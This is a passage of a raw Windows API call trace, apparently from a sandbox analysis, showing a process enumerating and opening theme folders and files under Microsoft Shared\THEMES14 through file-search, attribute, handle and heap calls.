ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0054.942] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.942] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.942] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.942] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.942] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.942] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xefa220 [0054.942] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xefdf18 [0054.942] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.942] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9240, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0054.942] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.942] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.942] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.942] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.942] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.942] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xefa240 [0054.942] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xefe020 [0054.942] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.942] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9240, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0054.942] GetLastError () returned 0x12 [0054.942] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459cf8 [0054.942] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0054.942] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59c68c90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.943] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x140f5c00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x59c68c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x140f5c00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x166d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="PAPYRUS.ELM", cAlternateFileName="")) returned 1 [0054.943] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PAPYRUS.INF", cAlternateFileName="")) returned 1 [0054.943] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0054.943] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9240, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0054.943] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9240, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0054.943] GetLastError () returned 0x12 [0054.943] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xefd7e0) returned 1 [0054.943] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0054.943] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xefd6d8) returned 1 [0054.943] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef4c58) returned 1 [0054.943] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a44b570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PIXEL", cAlternateFileName="")) returned 1 [0054.943] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.943] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a44b570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0054.943] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0054.943] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0054.943] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xefe328 [0054.944] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xefe328, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xefe328, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0054.944] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xefe328) returned 1 [0054.944] NtClose (Handle=0x17c) returned 0x0 [0054.944] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.944] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.944] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0054.944] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0054.944] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459cf8 [0054.944] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a44b570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.944] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17a2e300, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6cf07e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17a2e300, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xd0e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="PIXEL.ELM", cAlternateFileName="")) returned 1 [0054.944] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0054.944] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0054.944] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0054.944] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0054.944] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0054.944] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef4c58 [0054.944] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0054.944] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xefa260 [0054.944] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xefd6d8 [0054.944] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0054.944] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a44b570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x21b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PIXEL.INF", cAlternateFileName="")) returned 1 [0054.944] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0054.945] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0054.945] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0054.945] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0054.945] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0054.945] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xefa280 [0054.945] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xefd7e0 [0054.945] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0054.945] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x639, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0054.945] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0054.945] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0054.945] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0054.945] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0054.945] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0054.945] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xefa2a0 [0054.945] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xefe128 [0054.945] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0054.945] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x54f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0054.945] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0054.945] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0054.945] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0054.945] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0054.945] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0054.945] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xefa2c0 [0054.945] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xefc020 [0054.946] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0054.946] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x54f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0054.946] GetLastError () returned 0x12 [0054.946] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c38 [0054.946] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0054.946] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a44b570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.946] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17a2e300, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6cf07e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17a2e300, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xd0e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="PIXEL.ELM", cAlternateFileName="")) returned 1 [0054.946] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a44b570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x21b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PIXEL.INF", cAlternateFileName="")) returned 1 [0054.946] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x639, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0054.946] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x54f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0054.946] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x54f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0054.946] GetLastError () returned 0x12 [0054.946] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0054.946] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0054.946] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef4c58) returned 1 [0054.946] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.946] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d084c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROFILE", cAlternateFileName="")) returned 1 [0054.946] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.946] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d084c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0054.949] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0054.950] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0054.950] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xefe328 [0054.950] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xefe328, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xefe328, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0054.950] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xefe328) returned 1 [0054.950] NtClose (Handle=0x170) returned 0x0 [0054.950] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.950] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.950] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0054.950] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef4c58 [0054.950] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.950] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xefbf18 [0054.950] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c38 [0054.950] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d084c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.950] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x53b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0054.950] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.950] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.950] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.950] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.951] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.951] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xefe340 [0054.951] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0054.951] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xefa2e0 [0054.951] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xefe448 [0054.951] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.951] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a053d00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1a053d00, 